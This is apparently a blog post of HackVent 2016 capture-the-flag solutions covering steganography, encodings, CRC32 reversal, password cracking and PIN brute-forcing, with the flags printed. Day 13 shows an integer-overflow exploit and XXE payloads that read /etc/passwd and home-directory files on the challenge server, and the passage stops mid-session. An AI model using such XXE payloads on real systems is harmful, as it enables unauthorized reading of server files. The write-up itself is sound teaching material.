Manufactory:<\/h1>\n<p><em>Do it yourself<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nToday\u2019s gift is ready to be manufactured, but Santa\u2019s afraid that his factory won\u2019t manage to do a production run before christmas. But perhaps you can create it yourself?<br \/>\n<a href=\"https:\/\/sigterm.ch\/stuff\/hackvent16\/instructions.gcode\" target=\"_blank\" rel=\"noopener\">Get Building Instructions<\/a><br \/>\n<strong>Solution:<\/strong><br \/>\nIn the header of the instruction file we\u00a0can\u00a0see it was generated by slic3r, which is a g-code generator for 3d printers.<br \/>\nI used an online gcode viewer where I could\u00a0upload the file: http:\/\/gcode.ws\/<br \/>\nIn the 3D view of the tool a\u00a0QR Code becomes visible, which then reveals the nugget:<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-06-at-19.17.31.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-518\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-06-at-19.17.31.png\" alt=\"\" width=\"235\" height=\"233\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-06-at-19.17.31.png 235w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-06-at-19.17.31-150x150.png 150w\" sizes=\"auto, (max-width: 235px) 100vw, 235px\" \/><\/a><br \/>\n<strong>HV16-oY2d-2Ki7-JBDe-VVdg-X8bW<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/easy_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-521 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/easy_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 04 &#8211; Language Of Us:<\/h1>\n<p><em>Why so seriously?<\/em><\/p>\n<p><strong>Description:<br \/>\n<\/strong>You all should know this language, but this one is not that consequent as it should be.<br \/>\n<a href=\"https:\/\/www.sigterm.ch\/stuff\/hackvent16\/the-text.txt\" target=\"_blank\" rel=\"noopener\">the-text.txt<\/a><br \/>\n<strong>Solution:<\/strong><br \/>\nFirst I created a script which translated it\u00a0to normal text. But this just results in\u00a0the wikipedia article about steganography. Nothing really useful there. I read the hint again, and it says\u00a0the leetspeak is not very consequent&#8230; So the code must\u00a0depend on if a character is written in leetspeak or not:<br \/>\nAll leetspeak characters are a 1 and all others a 0.<br \/>\nI used\u00a0this bash command to convert the text to the binary string:<\/p>\n<pre class=\"wrap:true lang:sh decode:true\">#!\/bin\/bash\ncat the-text.txt | sed 's\/3\/1\/g' | sed 's\/4\/1\/g' | sed 's\/9\/1\/g' | sed 's\/7\/1\/g' | sed 's\/|=\/1\/g' | sed 's\/5\/1\/g' | sed 's\/!\/1\/g' | sed 's\/\\\\\\\/\\\\\\\/\/1\/g' | sed 's\/|\\\/|\/1\/g' | sed 's\/|-|\/1\/g' | sed 's\/(\/1\/g' | sed 's\/|\\*\/1\/g' | sed 's\/|2\/1\/g' | sed 's\/\\`\\\/\/1\/g' | sed 's\/|=\/1\/g' | sed 's\/\\\/v\\\\\/1\/g' | sed 's\/|&lt;\/1\/g' | sed 's\/|)\/1\/g' | sed \"s\/\\\\\\'\/1\/g\" | sed 's\/8\/1\/g' | sed 's\/0\/1\/g' | sed 's\/\u00a3\/1\/g' | sed 's\/|_|\/1\/g' | sed 's\/&gt;&lt;\/1\/g' | sed 's\/_|\/1\/g' | sed 's\/[a-z]\/0\/g'<\/pre>\n<p>The output of the bash script is:<\/p>\n<p class=\"p1\"><em><span class=\"s1\">0010110100101 10 100 10110100 10 1101001011 0 1001, 0110100, 10110, 10 01011 010010 1101001 0110, 1001011, 01001, 01 10100. 101 1010 0101101001011 01001011 010 01011 01001 01101001, 0110100 &#8220;1011010, 010110100, 10 110100101&#8221;, 101 00101101 0010110 &#8220;1001011&#8221;.<\/span><\/em><\/p>\n<p class=\"p1\"><em><span class=\"s1\">010 01011 01001011 010 01 011 0100 101 10 10010110 1001011010 01 011 01001011010010, 1 10100101 10 100101101001 011 0100101101001, 011010010 11 0 1001 01 10100. 101101001, 011 010010 11010010 110100 10 11 010010110 1001: 011010, 01011010, 01011010 01011, 01 0010 11010 01011 0100. 101 1010010, 110 100101 1010010 110 10 01 011010010 110 1001011 010 0101101 00101 10 1 0010110 100101. 1010 010110100101101 00 1011010010110 1001 0110 1 001011 010010 110 10010 11 01001011 0100101 101001011, 0101001 000-010101100 01100010011011 0001011 010100 11 1100110111&#8217;0 110111101.<\/span><\/em><\/p>\n<p class=\"p1\"><em><span class=\"s1\">001 001001011 01 0101011100110 0110 011010001101 01000 10 1101 010 00010010 010100 1001000 0011 011 1001011 010110001 10 101001 10 11 101100 11 01011001. 0110101 1001010 011010101 00100001 &#8211; 11 101000 101 10100101101 &#8211; 001011 01001011, 010 010 11 0100101101 00 1011010010110 10 010110100 10110 1001011010 01 0110100. 1011, 0100101 101001011010 01 011 01001011 01 0010110100 101 10100101 10 1 0010110 10010, 1101001011010 01 011010010 1101 0010110100 101 1010 0101 1 010010 1101001 01 10100 1011, 01 0010 11 0100101101 001 01101001 01 101 0010110.<\/span><\/em><\/p>\n<p class=\"p1\"><em><span class=\"s1\">1001011010010 11010010 110 10010110100 10 11010010110 100101 10100101 10100. 10 1101001 0110100101101, 0010110100 10110100101101 001 0110100 10110100101101 001011 010010 11 0 100101101 00101, 1010 01 0 11010010 1101, 00101 1010, 0101101 00 10110100. 10110 10010 110 10010 110 10010110100101 101001011010 0101101 00 10110 10010 1101. 001 0110100, 1 011010 01011 01001 0110 10 010110100 10110 1001 011 010010 110 10010 11 01001 011010010 11010 01 0110100101 10 1 001011 01 001 01101001, 0 110100 10 110100 1011 0100101 101 001011010010 1101001 011 01 00 10110100 10 110100 10.<\/span><\/em><\/p>\n<p class=\"p1\">http:\/\/www.unit-conversion.info\/texttools\/convert-text-to-binary\/#data<br \/>\n<strong>HV16-O7oI-W34j-BJH7-cSvk-e5Hz<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-522 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 05 &#8211; Boolean Fun:<\/h1>\n<p><em>Every Bit Is Important<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nSanta found a paper with some strange logical stuff on it. On the back of it there is the hint: \u201cuse 32 bit\u201d.<br \/>\nHe has no clue what this means \u2013 can you show him, what \u201c???\u201d should be?<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/everyBitIsImportant.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-519\" src=\"http:\/\/www.sigterm.ch\/wp-content\/uploads\/2017\/01\/everyBitIsImportant-300x158.png\" alt=\"\" width=\"300\" height=\"158\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/everyBitIsImportant-300x158.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/everyBitIsImportant.png 588w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><br \/>\n<strong>Solution:<\/strong><br \/>\nI took the simple path with python \ud83d\ude09<\/p>\n<pre class=\"wrap:true lang:python decode:true \">#!\/usr\/bin\/python\nprint (~((4 | 7) ^ (1337 &amp; 424242))) | 0xB055<\/pre>\n<p>The result is -291, submitting this to the website returns\u00a0a QR code with\u00a0the nugget:<br \/>\n<strong>HV16-2wGq-wOX3-T2oe-n8si-hZ0A<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-522 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 06 &#8211; Back 2 Work:<\/h1>\n<p><em>Greetings from Thumper<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nGreetings from Thumper, he has an order for you:<br \/>\n1. unzip: the password is confidential<br \/>\n2. find the flag<br \/>\n3. look at my holiday pictures<br \/>\n<strong>Comment:<\/strong> Be aware, the pictures are only supplement.<br \/>\n<a href=\"https:\/\/www.sigterm.ch\/stuff\/hackvent16\/holiday.zip\" target=\"_blank\" rel=\"noopener\">holiday.zip<\/a><br \/>\n<strong>Solution:<\/strong><br \/>\nUnfortunately the comment, about the pictures being only supplement, was not there\u00a0from the beginning. I wasted a lot of time\u00a0trying to find hidden things\u00a0in the pictures instead of the zip file! \ud83d\ude41<br \/>\nAfter the comment was uploaded, it was clear it&#8217;s something with the zipfile itself. Looking closer at it\u00a0with hexdump, shows\u00a0a suspicious pattern. In the end, where all the filenames in the archive\u00a0are listed, there are is a pattern with 0x09 and 0x20 between the file names.<br \/>\n&#8230;<br \/>\n013394d0 6d 61 67 65 5f 30 30 30 34 2e 6a 70 67 20 20 20 |mage_0004.jpg |<br \/>\n013394e0 20 20 20 20 09 09 09 09 09 20 09 20 09 09 09 20 | &#8230;.. . &#8230; |<br \/>\n013394f0 20 20 20 20 20 20 00 50 4b 01 02 14 00 14 00 01 | .PK&#8230;&#8230;.|<br \/>\n01339500 08 08 00 c6 b3 27 49 c3 e9 b1 34 c4 e6 09 00 41 |&#8230;..&#8217;I&#8230;4&#8230;.A|<br \/>\n01339510 e8 09 00 0e 00 00 00 1a 00 00 00 00 00 00 00 00 |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br \/>\n01339520 00 1b 89 0c 00 69 6d 61 67 65 5f 30 30 30 35 2e |&#8230;..image_0005.|<br \/>\n01339530 6a 70 67 20 09 09 09 09 09 20 09 20 09 20 09 20<br \/>\n&#8230;<br \/>\nIf we extract all the 0x09 and 0x20, convert 0x20 to 1 and 0x09 to 0 we get 25 lines of 25 bits. I wrote\u00a0these 25 binary strings to\u00a0a textfile and opened it with a text editor. It looks like a QR code! I replaced all the 1 with &#8216;#&#8217; and the 0 with a whitespace and I got this:<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-01-at-20.59.14.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-500\" src=\"http:\/\/www.sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-01-at-20.59.14-171x300.png\" alt=\"\" width=\"171\" height=\"300\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-01-at-20.59.14-171x300.png 171w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-01-at-20.59.14.png 188w\" sizes=\"auto, (max-width: 171px) 100vw, 171px\" \/><\/a><br \/>\nBut this is not yet readable by my QR code scanner. I then replaced all the hashtags with Unicode Character &#8216;FULL BLOCK&#8217; (U+2588):<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-01-at-20.58.54.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-501\" src=\"http:\/\/www.sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-01-at-20.58.54-168x300.png\" alt=\"\" width=\"168\" height=\"300\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-01-at-20.58.54-168x300.png 168w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-01-at-20.58.54.png 184w\" sizes=\"auto, (max-width: 168px) 100vw, 168px\" \/><\/a><br \/>\nStill not readable.. After taking a screenshot and resizing the image with Gimp I could finally read it with my QR scanner.<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2016-12-07-at-21.31.50.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-516\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2016-12-07-at-21.31.50.png\" alt=\"\" width=\"250\" height=\"250\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2016-12-07-at-21.31.50.png 250w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2016-12-07-at-21.31.50-150x150.png 150w\" sizes=\"auto, (max-width: 250px) 100vw, 250px\" \/><\/a><strong>HV16-y9YO-sDo1-Vi7O-RWq1-V7hN<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-522 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 07 &#8211; TrivialKRYPTO 1.42:<\/h1>\n<p><em>You think you need the password?<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nToday\u2019s present is encrypted. Luckily Santa did not use Kryptochef\u2019s KRYPTO 2.0 so there might be a slight chance of recovering it?<br \/>\n<a href=\"https:\/\/www.sigterm.ch\/stuff\/hackvent16\/trivialcrypt.html\" target=\"_blank\" rel=\"noopener\">Get me there \u2026<\/a><br \/>\n<strong>Solution:<\/strong><br \/>\nFirst step is\u00a0analysing the source code of the webpage. There you can\u00a0see that all the crypto is done in javascript, on the client side. So we know\u00a0exactly what&#8217;s going on, but we first need to understand it. The most relevant parts of the source are:<\/p>\n<pre class=\"wrap:true lang:js decode:true\">s3cr3t=[2155568001,3847164610,2684356740,2908571526,2557362074,2853440707,3849194977,3171764887];\n...\nvar s=\"\";\nfor(var i=0;i&lt;s3cr3t.length;i++) {\nvar pp=\"\";\nfor(var p = (s3cr3t[i] ^ crc32(pass)); p&gt;0; p&gt;&gt;=8) {\npp = String.fromCharCode(p&amp;0xFF)+pp;\n}\ns+=pp;\n}\n...<\/pre>\n<p>What\u00a0means the CRC32 of the entered password is xored with the values in s3cr3t, always\u00a08 bits at the time (see the shifting). The 8 bits are then converted to a character and added to the string s, which in the end reveals the nugget. CRC32 is 32bits,\u00a0therefore we have 4 runs in the loop until p&gt;0 (p&gt;&gt;=8). This means the s3cr3t[0] loop returns\u00a04 characters which have to be &#8220;HV16&#8221;!<br \/>\n-&gt; s3cr3t[0] ^ crc32(pass) = &#8220;HV16&#8221;<br \/>\n-&gt; crc32(pass) = s3cr3t[0] ^ &#8220;HV16&#8221;<br \/>\n-&gt; crc32(pass) = 2155568001 ^ 0x48563136 \/\/take value &amp; HV16 to hex<br \/>\nhttp:\/\/xor.pw<br \/>\n-&gt; crc32(pass) = c82d6ab7<br \/>\nHow can we reverse the CRC32?!<br \/>\n<a href=\"http:\/\/www.danielvik.com\/2010\/10\/calculating-reverse-crc.html\">http:\/\/www.danielvik.com\/2010\/10\/calculating-reverse-crc.html<\/a><br \/>\nI downloaded the code in the end and adapt it to our string:<\/p>\n<pre class=\"lang:c decode:true\">vim ReverseCRC.cpp\nint main(void) {\n  testOne(0x0, 0xc82d6ab7);\n  testOneAscii(0x0, 0xc82d6ab7);\n  return 0;\n}<\/pre>\n<p>initial: 0x00000000 OK &#8211; bytes to add: { 0x84, 0xa3, 0x93, 0x8e }<br \/>\ninitial: 0x00000000 OK &#8211; string to add: <strong>3tnaIl<\/strong><br \/>\nEnter &#8216;3tnaIl&#8217; as password on the website which returns\u00a0the nugget:<br \/>\n<strong>HV16-bxuh-b3ep-1PCU-b9ft-CgVu<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-522 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 08 &#8211; Lost In Encoding:<\/h1>\n<p><em>Multiple encodings = good encryption?<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nSanta and his elves do not know good encryption, all they have heard about are some basic encodings. Unfortunately they all are bungling and forgotten the recipe.<br \/>\nIt\u2019s now on you, who has to get it up.<br \/>\n<a href=\"https:\/\/www.sigterm.ch\/stuff\/hackvent16\/l0st_1n_7ranslation.fun\" target=\"_blank\" rel=\"noopener\">l0st_1n_7ranslation.fun<\/a><br \/>\n<strong>Solution:<\/strong><br \/>\nReally helpful link!<br \/>\n<a href=\"http:\/\/www.garykessler.net\/library\/file_sigs.html\">http:\/\/www.garykessler.net\/library\/file_sigs.html<\/a><br \/>\n1. yenc decode the full file<br \/>\n<a href=\"http:\/\/www.webutils.pl\/index.php?idx=yenc\">http:\/\/www.webutils.pl\/index.php?idx=yenc<\/a><br \/>\n2. base64 decode<br \/>\n3. ASCII85 decode. I had a problems identifying this encoding. It starts with &#8220;&lt;~&#8221; and ends with &#8220;~&gt;&#8221;, so it was pretty obvious what to google for. Unfortunately you cannot google this \ud83d\ude42 The garykessler.net link really helped a lot here!<br \/>\nAfter the ASCII85 decoding this text is revealed:<br \/>\nComputer science education cannot make anybody an expert programmer any more than studying brushes and pigment can make somebody an expert painter. &#8211; Eric S. Raymond<br \/>\n<strong>HV16-l0st-1n7r-4nsl-4710-n00b<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-522 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 09 &#8211; Illegal Prime Number:<\/h1>\n<p><em>Huh \u2013 what the f***?<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nI\u2019ve heard something about illegal prime numbers\u2026 Maybe this number contains the flag:<\/p>\n<div style=\"text-align: center;\" align=\"center\">\n<pre class=\"wrap:true lang:default highlight:0 decode:true\">4315891123054519227800425234439024406406805990983946954154956695012431283551657417585179574642755601169096280017484467053951914982126613234225200384245049037787654523558017678649278076716108200271927575791497929092184238813619846729315518237924881623603111094979071286017407153529043066655388316378457694291590703681341752561492723137474482263373673210248633961843479034160811982934510083276506238457901538373531195688165166964398815874378480986164601388393975141268984935852959700100872597068350527482364309<\/pre>\n<\/div>\n<p><strong>Solution:<\/strong><br \/>\nIllegal prime numbers are numbers which hide something illegal in it, apparently this makes the full number illegal :). Most famous example is\u00a0the illegal prime number\u00a0which when converted to binary is a zip archive containing the source code to a program which can decrypt DVD movies.<br \/>\nI used the extraction script of this website:<br \/>\n<a href=\"http:\/\/primes.utm.edu\/curios\/page.php?number_id=953\">http:\/\/primes.utm.edu\/curios\/page.php?number_id=953<\/a><br \/>\nI modified the extraction script to work with the given\u00a0number. The extracted data is a password protected zip file. With john the ripper and a dictionary I was able to bruteforce the password &#8220;qwerty&#8221; in no time.<br \/>\n<strong>HV16-0228-d75b-40cd-8a0e-1f3e<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-522 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 10 &#8211; I want to play a Game:<\/h1>\n<p><em>Part One<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nReversing Day 1: we\u2019ll start with an easy one.<\/p>\n<div style=\"text-align: left;\" align=\"center\"><a href=\"https:\/\/www.sigterm.ch\/stuff\/hackvent16\/ReGame_Part1.zip\" target=\"_blank\" rel=\"noopener\">Gimme that thing!<\/a><\/div>\n<p><strong>Solution:<\/strong><br \/>\nI was a bit lucky here, didn&#8217;t really need to reverse the code:<br \/>\n1. While analysing the binary with hexdump I found this string in the binary, which looks like our nugget somehow encrypted:<\/p>\n<pre class=\"lang:default decode:true \">B;T{6*,TW<\/pre>\n<p>2. We know the nugget always starts with &#8220;HV16-&#8220;&#8221;<br \/>\n3. XOR &#8220;HV16&#8221; with &#8220;KR40*&#8221; results in &#8220;304050607&#8221;. Suspicious, isn&#8217;t it?<br \/>\n4. If we continue the hex stream until the end:<br \/>\n30405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f<br \/>\n5. XOR the\u00a0hex stream with the encrypted nugget:<br \/>\n<strong>HV16-Vm5y-NjgH-e7tW-PgMa-61JH<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-522 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 11 &#8211; A-maze-ing GIFt:<\/h1>\n<p><em>Go find the codes!<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nWill you manage to recover today\u2019s code from this strange picture?<br \/>\nIt looks like a maze of some kind, and somewhere deep inside there might be more than what you\u2019d expect at the first glance\u2026<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/MandM.gif\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-520\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/MandM.gif\" alt=\"\" width=\"291\" height=\"291\" \/><\/a><br \/>\n<strong>Solution:<\/strong><br \/>\nObviously this is a QR code, but not yet readable in this format.<br \/>\n1. Enhance:<br \/>\nconvert qr_code_error.jpg -morphology open square:1 -threshold 98% result.png<br \/>\n2. Did some magic with Gimp<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/result.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-514\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/result.png\" alt=\"\" width=\"291\" height=\"291\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/result.png 291w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/result-150x150.png 150w\" sizes=\"auto, (max-width: 291px) 100vw, 291px\" \/><\/a><strong>HV16-otli-KbAg-MDVb-TMTO-WTDI<\/strong><\/p>\n<h2>Hidden Nugget:<\/h2>\n<p>According to the description it is clear that more than just one code is hidden here. Then they also submitted the hint &#8220;In doubt, let the last two parts of your first find lead you deeper into the maze.&#8221; to the website. The last two parts of your first find would be TMTO-WTDI, if you google this you find the perl motto &#8220;There&#8217;s more than one way to do it&#8221;.<br \/>\nI tried many different things here until I came to the right solution. It was clear it&#8217;s something with Perl but I couldn&#8217;t get it at first.<br \/>\nIt&#8217;s possible to run the MandM.gif as perl:<br \/>\n.\/perl MandM.gif<br \/>\nWhich asks for a PIN.<br \/>\nI wrote a small shell script to\u00a0bruteforce the key:<\/p>\n<pre class=\"wrap:true lang:sh decode:true\">#!\/bin\/bash\necho \"\"&gt;log.txt\nfor i in {0..999999}\ndo\nperl MandM.gif &lt;&lt;EOF &gt;&gt; log.txt\n$i\nEOF\necho \"[+] $i\" &gt;&gt; log.txt\ndone<\/pre>\n<p>The PIN 160417 finally worked:<br \/>\n&gt; xmar ain&#8217;t easter \ud83d\ude09<br \/>\n<strong>HV16-FWtf-Sh9O-cApF-Q9HQ-qMrp<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/hard_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-523 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 12 &#8211; Crypt-o-Math:<\/h1>\n<p><em>Crypto? Math? Maybe both?<\/em><\/p>\n<p><strong>Description:<br \/>\n<\/strong>you remember math classes at school?<br \/>\nhopefully you payed attention \u2013 and even if not, there are other ways to solve this challenge.<\/p>\n<div class=\"tile\">\n<div class=\"p-10\">\n<div align=\"center\">Get your lesson <a href=\"https:\/\/www.sigterm.ch\/stuff\/hackvent16\/math.txt\" target=\"_blank\" rel=\"noopener\">here<\/a> \u2026<\/div>\n<div align=\"center\"><\/div>\n<\/div>\n<\/div>\n<div class=\"clearfix\"><strong>Solution:<\/strong><br \/>\nEasiest way to solve this is\u00a0to bruteforce it:<\/div>\n<pre class=\"wrap:true lang:python decode:true\">#!\/bin\/python\nwith open(\"math.txt\", \"r\") as f:\n    array = []\n    for line in f:\n        array.append(line)\nresult=\"\"\nfor x in array:\n    if not x[0].isdigit():\n        continue\n    numbs = x.split(\",\")\n    i = 32\n    while (i&lt;128):\n        a=i*0x1337*int(numbs[1])%int(numbs[2])\n        if(a==int(numbs[0])):\n            print(\"Found: \" + str(i) + \" - \" + chr(i))\n            result = result+chr(i)\n        i=i+1\nprint(\"Solution: \" + result)<\/pre>\n<p>Nugget:<br \/>\n<strong>HV16-laWz-D5yT-0Uzb-DFj0-FIsL<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/hard_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-523 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 13 &#8211; JCoinz:<\/h1>\n<p><em>Sometimes less is more<\/em><\/p>\n<p><strong>Description:<br \/>\n<\/strong>The manager of jcoinz told a developer to implement a transaction tax as fast as possible so he can earn more money. Maybe that was a wrong decision\u2026<br \/>\n<em><b>nc <span class=\"skimlinks-unlinked\">challenges.hackvent.hacking-lab.com<\/span> 3117<\/b><\/em><br \/>\n<a href=\"https:\/\/www.sigterm.ch\/stuff\/hackvent16\/jcoinz.jar\" target=\"_blank\" rel=\"noopener\">jcoinz.jar<\/a><br \/>\n<strong>Solution:<\/strong><br \/>\nThis was a really nice challenge! While first analysing the code I thought well, this looks very well implemented. But having a closer look revealed 2 problems. \ud83d\ude42<br \/>\n1. Generate an integer overflow to earn more money:<br \/>\n&#8211; The user input is read with Scanner.nextInt() and only allows integers, so no overflow\u00a0here<br \/>\n&#8211; integer range is between -2,147,483,648 and 2,147,483,647<br \/>\n&#8211; When you send a negative number it first is accepted by the Scanner.nextInt() method but later gets inverted to positive, there is our integer overflow! If we\u00a0enter the smallest integer number and it gets inverted to positive it is 1 above the upper boundary! Here are the relevant lines of code:<\/p>\n<pre class=\"wrap:true lang:java mark:7-9,10 decode:true\">public boolean payCoins(int amount) {\n        int decreasedCoins;\n        if (this.getCoins() &lt;= 0) {\n            IO.printStatus(\"-\", \"No more jcoinz!\\n\\n\");\n            return false;\n        }\n        if (amount &lt; 0) {\n            amount *= -1;\n        }\n        if ((decreasedCoins = this.getCoins() - amount - Shop.transactionTax) &lt; 0) {\n            IO.printStatus(\"-\", \"You cannot generate debts!\\n\\n\");\n            return false;\n        }\n        this.setCoins(decreasedCoins);\n        IO.printStatus(\"-\", \"Decreased the account of \\\"\" + this.getName() + \"\\\" by \" + String.valueOf(amount) + \"\\n\");\n        return true;\n    }<\/pre>\n<p>Exploit:<br \/>\n&#8211; Send all but 1 coin to charity<br \/>\n&#8211; send -2,147,483,648 which generates the overflow<br \/>\n&#8211;&gt; 1 &#8211; 2,147,483,648 -2(tax) == Overflow<br \/>\n2. XML Entity attack<br \/>\n&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;ISO-8859-1&#8243;?&gt;&lt;!DOCTYPE foo [&lt;!ELEMENT foo ANY &gt;&lt;!ENTITY xxe SYSTEM &#8220;file:\/\/\/etc\/passwd&#8221; &gt;]&gt;&lt;foo&gt;&amp;xxe;&lt;\/foo&gt;<br \/>\n&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;ISO-8859-1&#8243;?&gt;&lt;!DOCTYPE foo [&lt;!ELEMENT foo ANY &gt;&lt;!ENTITY xxe SYSTEM &#8220;file:\/\/\/home\/jcoinz\/&#8221; &gt;]&gt;&lt;foo&gt;&amp;xxe;&lt;\/foo&gt;<br \/>\n&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;ISO-8859-1&#8243;?&gt;&lt;!DOCTYPE foo [&lt;!ELEMENT foo ANY &gt;&lt;!ENTITY xxe SYSTEM &#8220;file:\/\/\/home\/jcoinz\/9f40461baba9bf00ba9174beeeb9b8a80c0ffba6&#8221; &gt;]&gt;&lt;foo&gt;&amp;xxe;&lt;\/foo&gt;<\/p>\n<pre class=\"wrap:true lang:sh decode:true\">$ nc challenges.hackvent.hacking-lab.com 3117\n$$$$$$$$$\n$ JCOINZ SERVICE $\n$$$$$$$$$\n1 - sends jcoinz to charity\n2 - send a secret xml message to the admin\nYour name: billy\nYour amount of jcoinz: 1336\n[?] Action: 1\n[?] Amount of jcoinz to send: 1333\n[-] Decreased the account of \"billy\" by 1333\n[+] Thank you very much!\n1 - sends jcoinz to charity\n2 - send a secret xml message to the admin\nYour name: billy\nYour amount of jcoinz: 1\n[?] Action: 1\n[?] Amount of jcoinz to send: -2147483648\n[-] Decreased the account of \"billy\" by -2147483648\n[+] Thank you very much!\n1 - sends jcoinz to charity\n2 - send a secret 